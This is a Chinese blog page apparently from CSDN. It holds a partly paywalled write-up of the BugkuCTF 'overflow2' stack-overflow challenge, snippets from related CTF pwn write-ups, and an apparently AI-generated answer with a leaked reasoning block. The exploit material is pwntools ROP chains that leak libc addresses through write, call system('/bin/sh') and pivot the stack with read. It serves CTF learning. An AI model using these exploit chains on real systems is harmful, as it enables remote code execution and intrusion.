BugkuCTF-PWN题pwn5-overflow2超详细讲解

最新推荐文章于 2024-11-25 12:54:41 发布
原创 最新推荐文章于 2024-11-25 12:54:41 发布 · 2.1k 阅读 · 3 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#安全

本文探讨了setvbuf函数在提高系统效率中的作用，特别是在处理大量磁盘I/O场景中的内存优化。通过实例展示了如何利用setvbuf原理和栈溢出漏洞构造ROP链，实现远程代码执行。

知识点

setvbuf:
setvbuf函数的功能：
如果你的内存足够大，可以把文件IO的BUF设置大一些，这样每次你用
fopen/fread/fwrite/fscanf/fprintf语句的时候，都会在内存里操作，减少内存到磁盘IO读写的操作次数，提高系统效率。
如果你的程序的功能涉及到类似数据库、视频、音频、图像处理等大量需要爆发式磁盘到内存的IO情况下，可以考虑setvbuf进行优化内存IO。
功 能: 把缓区与流相关

解题流程

查看保护机制
在这里插入图片描述
发现开启了RELRO,NX
只能通过ROP绕过

IDA打开，查看伪码：
在这里插入图片描述
0x20=32
0x100=256
read()函数存在栈溢出，查看栈结构
在这里插入图片描述

构造rop链

在这里插入图片描述
system函数的地址是0x401050

最低0.47元/天 解锁文章
【bugku】overflow2
2201_75556700的博客
11-27 1791
我们通过构造rop链来执行system("/bin/sh")这个命令，在使用system函数时，它的第一个参数，需要放在rdi寄存器中，而这个参数就是/bin/sh。4、用ida64分析文件，先查看主函数，这段主函数的关键就是，它定义了一个数组大小是4，而read函数在读取的时候，是读取它的0x100ull这超出了数组的范围，会导致栈溢出。6、通过shift+f12来查看调用了哪些函数，这里看到了一个脚本函数，双击/bin/in查看程序地址，查看system函数调用的地址。
BugkuCTF：overflow2[WriteUP]
如有错误感谢斧正
04-14 1130
我们需要构造payload使buf数组溢出，然后接上这里的total总的合成地址即可实现shell交互。总共需要填充28个字节，后面溢出可以填充为成0x20+0x8，或者直接写成0x28。总链：total = 0x40126b + 0x402004 + 0x401050。存在/bin/sh意味着我们可以利用这个字符串启动shell，双击查看地址。先看到_system函数，此函数可以直接返回一个由实参当作命令的消息。再查看下方的地址信息，获取到该函数十六进制地址为：0x401050。查看一下flag文件。
BugkuCTF-PWN题pwn2-overflow超详细讲解
am_03的博客
08-30 2823
解题思路 1）计算出get_shell_的地址偏移量 2）算出来之后就直接溢出到后门函数 知识点 x64函数调用规则 解题之前我们先学下linux x64的函数调用规则。 x64机器在调用某个函数前，比如int func(int a, int b, int c, int d, int e, int f, int g, int h)，首先他会把前6个参数从左往右存入到寄存器rdi、rsi、rdx、rcx、r8、r9，其余参数存入到栈里，保存的顺序是从右往左入栈。比如abcdef会存入到寄存器里，然后一次入栈h
BugkuCTF pwn overflow2
ChaoYue_miku的博客
07-04 1773
** 0、尝试打开文件，使用checksec检查保护情况 ** ** 1、使用IDA 64 Pro打开文件 ** read()函数存在栈溢出，查看栈结构 ** 2、构造rop链 ** Shitf+F12查找字符串 发现/bin/sh的地址是0x402004 system函数的地址是0x401050 64位程序的第一个参数在 rdi 寄存器里 使用ROPgadget工具寻找汇编指令 rdi寄存器地址：0x40126b ** 3、构造exp ** from pwn import * r = remo
bugku-pwn-瑞士军刀 overflow2
m0_57954651的博客
01-13 2271
在klai中使用file命令查看文件类型 可以看到是64位。system函数的地址是0×40043F。使用IDA 64 Pro打开文件 查看主函数。利用Kali连接 ls查看。给了个nc和文件 下载。
BugkuCTF pwn overflow
ChaoYue_miku的博客
07-02 3184
** 0、在Linux中打开文件，使用file命令查看文件类型，使用checksec检查保护情况 ** 64位文件，未开启任何保护，尝试运行一下 ** 1、使用IDA 64 Pro打开文件 ** 查看主函数 存在栈溢出漏洞 ** 2、寻找后门函数 ** 存在一个get_shell函数，地址为0x400751 ** 3、构造exp ** from pwn import * #io = process('./pwn2') io = remote("114.67.246.176", 15587)
BugkuCTF-PWN题canary超详细讲解
am_03的博客
08-31 2965
知识点 小端序说明，数据在内存里是如何存储的？下表里数据都为16进制 解题流程 题目Hint:更新 LibcSeacher 的 libc-database checksec查看保护机制 0x28=40 0x10=16 0x29=41 0x300=768 0x2C=44 buf长度为48，而read读取长度为768 v5长度为520，而read读取长度为768 所以存在栈溢出漏洞 from pwn import * #sh = process('./pwn4_') #context.log_lev
BugkuCTF-PWN题pwn7-repeater详细讲解多解法
am_03的博客
08-31 4643
知识点 解题流程 方法一 查看文件类型： 32位文件 查看保护机制 只开启了NX 32位IDA打开 伪码： 0x70=112 0x64=100 发现该题目为典型的格式字符串漏洞。 解题思路 此题的大概思路如下： 1、找到libc_start_main在栈内的偏移，使用%p暴露该地址 2、利用LibcSearcher猜测使用的libc，算出libc基址 3、计算出此libc的system地址 4、把prinf的got表改为system地址 5、执行system(’/bin/sh’) 具体调试 执行gd
ctf题库ctf-pwn赛题收集
03-31
ctf题库 CTF(夺旗赛)题库是一个由安全专家和爱好者们制作的一系列网络安全挑战。这些挑战旨在测试各种安全技能，包括密码学、逆向工程、漏洞利用和网络分析等。 CTF题库通常由多个类别的挑战组成，例如Web安全、二...
【bugku】overflow
2201_75556700的博客
11-25 889
4、用64位的IDA分析文件，按F5进入主函数，这段程序定义了一个48字节的数组s。memset()函数将数组s的前0x30字节初始化为0，read()函数以s作为缓存区读取了0x100个字节的数据。数组s的长度小于要读取的长度，这会导致缓冲区溢出。5、在函数那一栏，看到名为get_shell的函数，可能是一个后门函数，它的地址为0x400751。我们需要覆盖返回地址，因此需要填充 48 字节的缓冲区，再加上 8 字节的栈帧指针（EBP）。需要找到能调用该函数的入口，需要将数组s的部分进行覆盖。
pico-ctf-2013 overflow-2
Bill
05-06 1352
栈溢出入门系列入门教程二overflow2.c#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "dump_stack.h"void vuln(int win, char *str) { char buf[64];
pwn int_overflow
weixin_45677731的博客
03-15 252
32位程序，拖进ida看一下 首先，我们要输入1进入login() 输入username后再输入passwd，注意这里passwd允许我们输入的长度为0x199 再点进check_passwd 这里用v3来保存我们输入的passwd的长度，但是，这个v3是unsigned int8型的，8个字节，只能存储不超过256的数，如果超过会重新从1开始计算，这样的话，对于1个字符和257个字符，v3...
[BUUCTF]PWN——picoctf_2018_buffer overflow 2
BangSen1的博客
03-31 737
picoctf_2018_buffer overflow 2 例行检查，32位，开启NX保护 运行一下， 用IDA打开。看到了flag.txt，跟进一下。 win函数地址为0x80485cb a1 == 0xDEADBEEF && a2 == 0xDEADC0DE 时，输出flag. from pwn import* r=remote('node3.buuoj.cn',26224) payload='a'*(0x6c+4)+p32(0x80485cb)+p32(0)+p32(0x
PWN入门之Stack Overflow
2401_84434570的博客
05-06 1217
看一下正常情况，如果是正常情况的话，会返回到main函数中，这里需要注意一个细节，EIP这个寄存器，计算机会执行EIP指向的东西。根据这个原理，就可以进行构造，当ret的时候，EIP指向的东西为success函数的地址即可，这样就可以调用success函数了，从而达到劫持程序流的目的。在本篇文章中，我详细介绍了如何利用程序中本身存在的栈溢出漏洞，达到劫持程序流的目的，进而实现system("/bin/sh")的效果，如果你也对这个知识点感兴趣，欢迎阅读全文，内容篇幅较长，阅读时长约12分钟。
[BUUCTF-pwn]——picoctf_2018_buffer overflow 2
Y_peak的博客
03-17 525
[BUUCTF-pwn]——picoctf_2018_buffer overflow 2 简单的栈溢出，不过需要将参数自己设置而已 注意负数如何转换为补码， 不知道也可以直接在汇编里面找 from pwn import * p = remote('node3.buuoj.cn',28931) a1 = 0xdeadbeef a2 = 0xdeadc0de payload = 'a' * (0x6c + 4) + p32(0x080485CB) + p32(0)+ p32(a1) + p32(a2) p.re
bugku 里面的五个pwn题wp
qq_36495104的博客
05-08 2686
pwn1 没给二进制文件，直接nc过去就能拿shell，查看flag，flag{6979d853add353c9} pwn2 查看保护，发现什么保护都没开启 ida反编译查看 明显栈溢出，还注意到有后门函数 只需要劫持函数的返回地址到get_shell函数，就可以用拿到flag。使用gdb调试发现，在0x38个字符后就会覆盖返回地址,所以编写脚本拿flag。 exp #pwn2.py from pwn import * #sh=process('./pwn2') sh=remote('11
NJUPT-CGCTF pwn2 StackOverflow [Writeup]
cossack9989的博客
12-30 2219
最近肥肠地想入门一下pwn，找了道题试了一下。 题目网址：StackOverflow 栈溢出啊。。虽然我水平很菜。。还是觉得挺有意思的 不扯了，先看题。 扔到32位IDA里面看看，观察一下，发现有两个很关键的函数message与pwnme，很显然message可以用来栈溢出，pwnme可以用来调用system函数，但是Alt+T之后并没有发现‘/bin/sh’，也没有提供libc.so，这
PWN做题笔记2-int_overflow（已校对）
qq_40923256的博客
04-19 369
原题地址：https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5058&page=1 如图，程序是一个32位ELF文件 chesec ida反编译，main方法中实现了登录功能，无溢出点 login方法中输入用户名和密码： 这里位数上0x19<40，0x199<512，因此无溢出 check_passwd实现对密码长度进行检查： 密...
攻防世界 pwn 进阶 bufoverflow_b
yongbaoii的博客
03-13 302
跟bufoverflow_b差不多，就是多了个检查。 所以先看看bufoverflow_a 说跟bufoverflow_a差不多是为啥，因为它就是在输入的时候检查多了一项。 这个是bufoverflow_a 这个是bufoverflow_b 这个题会检查我们的输入是不是\x00，意思是会被\x00截断，那么我们在输入数据的时候就会麻烦一些。 那我们怎么去解决这个烦恼，我们这里利用大佬的方法。 在我们向内存中写地址的时候内存中一定会有一些垃圾数据，我们写数据的时候，假如我们要写入一个地址，在内存中小端序
ctf-pwn怎么用write+read求libc的基址
最新发布
11-15
<think> 我们参考引用内容，特别是引用[1]到[5]，来回答用户关于使用write和read函数在CTF Pwn中求libc基址的方法。 根据引用[4]和[5]，我们知道： 1. 程序运行后，libc中的函数在内存中的实际地址 = libc基址 + 函数在libc中的偏移量。 2. 我们可以通过泄露一个已经执行过的函数的实际地址（例如write或puts）来计算libc基址。 在CTF Pwn中，如果程序有栈溢出漏洞，我们可以构造ROP链来调用write函数（或puts函数）来泄露某个函数的真实地址（通常是GOT表中存储的地址），然后通过这个地址减去该函数在libc中的偏移量，得到libc基址。 具体到使用write+read的方法，通常步骤如下： 步骤1：第一次溢出，利用ROP调用write函数，将GOT表中某个函数（如write自身或puts）的地址输出到标准输出（文件描述符1）。同时，为了后续继续利用，我们需要控制程序返回到一个可以再次触发溢出的位置（如main函数开头）。 步骤2：接收程序输出，解析出泄露的函数地址。 步骤3：根据泄露的函数地址，计算libc基址（基址 = 泄露的函数地址 - 该函数在libc中的偏移量）。注意，不同libc版本中函数的偏移量不同，因此需要确定libc版本（可以通过泄露多个函数地址来匹配，或者题目提供了libc文件）。 步骤4：根据libc基址，计算出system函数和字符串"/bin/sh"的地址。 步骤5：第二次溢出，利用ROP调用read函数（或其他输入函数）将构造好的ROP链（调用system("/bin/sh")）写入到某个可写内存区域（如.bss段），然后跳转到该区域执行；或者直接构造ROP链调用system("/bin/sh")。 但是，用户特别提到使用write+read，所以这里重点在于利用write泄露地址和利用read再次读入数据。 以下是一个典型利用场景的伪代码： 第一次ROP链： - 覆盖返回地址为write函数的PLT地址（write@plt） - 设置write函数的参数：文件描述符（1）、要泄露的地址（如write_got，即GOT表中write的地址）、输出的长度（4或8字节，取决于32位还是64位） - 设置返回地址为main函数的地址（或另一个可以再次触发溢出的地址），这样在write执行完后程序会重新运行到有漏洞的地方。 接收程序输出的write_got的值，然后计算libc基址。 第二次ROP链： - 覆盖返回地址为read函数的PLT地址（read@plt） - 设置read函数的参数：文件描述符（0，即标准输入）、存储地址（如.bss段的一个缓冲区）、长度（足够长以容纳我们输入的ROP链） - 设置返回地址为存储的ROP链的起始地址（即.bss段的那个缓冲区），这样read函数读入的数据（即我们构造的ROP链）会从.bss段开始执行。 第二次ROP链中，我们可以在.bss段写入一个ROP链，这个ROP链调用system("/bin/sh")。或者，我们可以利用read函数读入一个ROP链直接调用system("/bin/sh")，但要注意此时需要知道system函数的地址。 另一种常见的做法是：第二次ROP链直接构造调用system("/bin/sh")，而不通过read再次读入。但这里用户要求使用read，所以我们需要用read来读入后续的ROP链或字符串。 具体构造示例（32位）： 第一次ROP链： - 填充缓冲区 - write@plt - main_addr (返回地址) - 1 (文件描述符) - write_got (要泄露的地址) - 4 (输出长度) 接收4个字节的write_got地址，计算libc基址：libc_base = write_addr - libc_write_offset 然后计算system地址和/bin/sh地址： system_addr = libc_base + libc_system_offset binsh_addr = libc_base + libc_binsh_offset 第二次ROP链： - 填充缓冲区 - read@plt - system_addr (注意：这里我们希望read后返回到system，并且参数是/bin/sh，但需要调整栈) - 0 (文件描述符) - binsh_addr (读入地址？这里需要调整思路) 实际上，我们通常需要将"/bin/sh"字符串写入内存，如果libc中已经有这个字符串，我们可以直接使用。然后调用system函数。 但是，如果我们使用read读入，我们可以这样： 第二次ROP链1（使用read读入字符串和后续ROP）： read(0, bss_addr, len(payload)) # 读入payload到bss_addr 然后返回到bss_addr（即执行我们读入的shellcode或ROP链） 但是，我们也可以直接构造ROP链调用system，此时需要将"/bin/sh"的地址作为参数。我们可以将"/bin/sh"字符串读入到已知地址（如.bss段），然后调用system。 因此，第二次ROP链可以这样： - 覆盖返回地址为read@plt - 设置返回地址为pop指令的地址（用于清理read的参数），然后接着是system的地址和参数 - 参数1：0（标准输入） - 参数2：bss_addr（.bss段的一个地址，用于存放我们输入的字符串"/bin/sh"） - 参数3：8（长度，足够存放字符串） - 然后设置返回地址为一段gadget：pop ebx; ret; 这样当read执行完后，会弹出参数（清理栈），然后执行下一条指令。接着我们调用system，参数是bss_addr。 具体构造（32位）： payload2 = padding + read_plt + pop3_ret + 0 + bss_addr + 8 + system_addr + ret_addr + bss_addr 解释： - 调用read(0, bss_addr, 8)读入8个字节到bss_addr（这里我们输入"/bin/sh\x00"） - read函数返回后，执行pop3_ret（一个弹出3个参数的gadget），将read的参数弹出栈，然后返回到system_addr - system_addr的返回地址是ret_addr（可以是一个无用的ret指令地址），参数是bss_addr（即我们读入的字符串地址） 但是，在64位系统中，参数传递通过寄存器，所以构造方式不同。 由于用户没有指定是32位还是64位，这里我们以32位为例。 然而，在实际题目中，我们往往需要根据题目提供的libc来确定偏移量，或者使用LibcSearcher等工具来查找。 总结步骤： 1. 利用write泄露一个GOT表地址（如write_got）。 2. 计算libc基址（需要知道该函数在libc中的偏移）。 3. 计算system和/bin/sh的地址（需要知道它们在libc中的偏移）。 4. 利用read函数读入字符串"/bin/sh"到.bss段（可选，如果libc中已有则不用读入）。 5. 构造ROP链调用system("/bin/sh")。 注意：如果题目中write函数不可用，也可以用puts函数，但puts遇到'\0'会结束，所以需要小心。 引用[5]中提到了使用LibcSearcher来查找libc版本和偏移，我们可以使用类似的工具。 下面是一个简化的例子（假设是32位程序）： 第一次ROP链： payload1 = 'A'*offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) 然后，接收泄露的write_got地址（4字节），解析为地址。 然后，计算libc_base = write_addr - libc.symbols['write'] # 这里需要知道libc版本，或者使用LibcSearcher 接着，计算system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search('/bin/sh')) # 或者如果libc中没有，则需要读入 第二次ROP链： # 首先，我们需要读入"/bin/sh"字符串到.bss段（假设bss_addr已知） payload2 = 'A'*offset payload2 += p32(read_plt) # 调用read payload2 += p32(pop3_ret) # read返回后跳到这里，弹出3个参数 payload2 += p32(0) # fd=0 payload2 += p32(bss_addr) # buf payload2 += p32(8) # len # 然后，我们调用system，参数是bss_addr payload2 += p32(system_addr) payload2 += p32(0) # system的返回地址，可以随意 payload2 += p32(bss_addr) 然后发送payload2，接着发送字符串"/bin/sh\x00"（8字节）。 这样，程序就会执行system("/bin/sh")。 但是，如果libc中已经有"/bin/sh"字符串，我们可以直接使用，不需要读入。那么第二次ROP链可以简化为： payload2 = 'A'*offset + p32(system_addr) + p32(0) + p32(binsh_addr) 然而，用户要求使用read，所以这里我们展示的是需要读入字符串的情况。 注意：实际题目中，我们可能还需要考虑栈平衡等问题。 以上是使用write+read求libc基址并最终获取shell的方法。 现在，我们根据用户要求生成相关问题。 §§相关问题§§ 1. 在32位和64位系统中，利用write和read函数求libc基址的主要区别是什么？ 2. 如果程序中没有write函数，还可以用哪些函数来泄露libc基址？ 3. 在利用read函数读入数据时，如何确定.bss段的地址？ 4. 如何解决不同libc版本中函数偏移量不同的问题？ 5. 在构造ROP链时，为什么有时候需要返回到main函数重新开始？ </think>### CTF Pwn中使用write+read求libc基址的方法 在CTF Pwn中，通过`write`和`read`函数泄露libc基址是常见的利用技术，主要流程如下： #### 核心原理 1. **libc地址计算** libc基址 = 泄露的函数实际地址 - 该函数在libc中的固定偏移量 即：$libc\_base = leaked\_addr - offset$ 2. **GOT/PLT机制** GOT表存储函数真实地址，通过泄露GOT表项获取libc函数地址（如`write@got`）[^2][^5]。 #### 操作步骤 1. **第一次ROP链（泄露地址）** ```python payload1 = b'A' * offset # 填充缓冲区 payload1 += p64(pop_rdi) # 设置rdi=1 (stdout) payload1 += p64(1) payload1 += p64(pop_rsi) # 设置rsi=write_got payload1 += p64(elf.got['write']) payload1 += p64(pop_rdx) # 设置rdx=8 (64位地址长度) payload1 += p64(8) payload1 += p64(elf.plt['write']) # 调用write(1, write_got, 8) payload1 += p64(main_addr) # 返回main重新触发溢出 ``` - 执行后接收输出的8字节数据，解析为`write`函数的实际内存地址[^5]。 2. **计算libc基址** ```python write_addr = u64(io.recv(8)) # 解析泄露的地址 libc_base = write_addr - libc.sym['write'] # 计算基址 system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) ``` 3. **第二次ROP链（getshell）** ```python payload2 = b'A' * offset payload2 += p64(pop_rdi) payload2 += p64(binsh_addr) # rdi="/bin/sh" payload2 += p64(ret) # 栈对齐(可选) payload2 += p64(system_addr) # 调用system("/bin/sh") ``` #### 关键点说明 1. **`read`函数的作用** - 在限制输入长度的题目中（如[^3]），用`read`构造栈迁移： ```python payload += p64(pop_rdi) + p64(0) # fd=0 (stdin) payload += p64(pop_rsi) + p64(new_stack) # 目标栈地址 payload += p64(elf.plt['read']) # read(0, new_stack, size) payload += p64(migrate_gadget) # 跳转到新栈 ``` - 将后续ROP链读到可控内存区域（如.bss段）[^3]。 2. **动态偏移处理** - 当libc版本未知时，用`LibcSearcher`匹配： ```python from LibcSearcher import * libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') ``` #### 典型应用场景 1. 存在栈溢出但无`system`/`/bin/sh`的程序 2. 开启NX保护时（无法执行shellcode） 3. 输入长度受限需结合栈迁移（如[^3]） ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值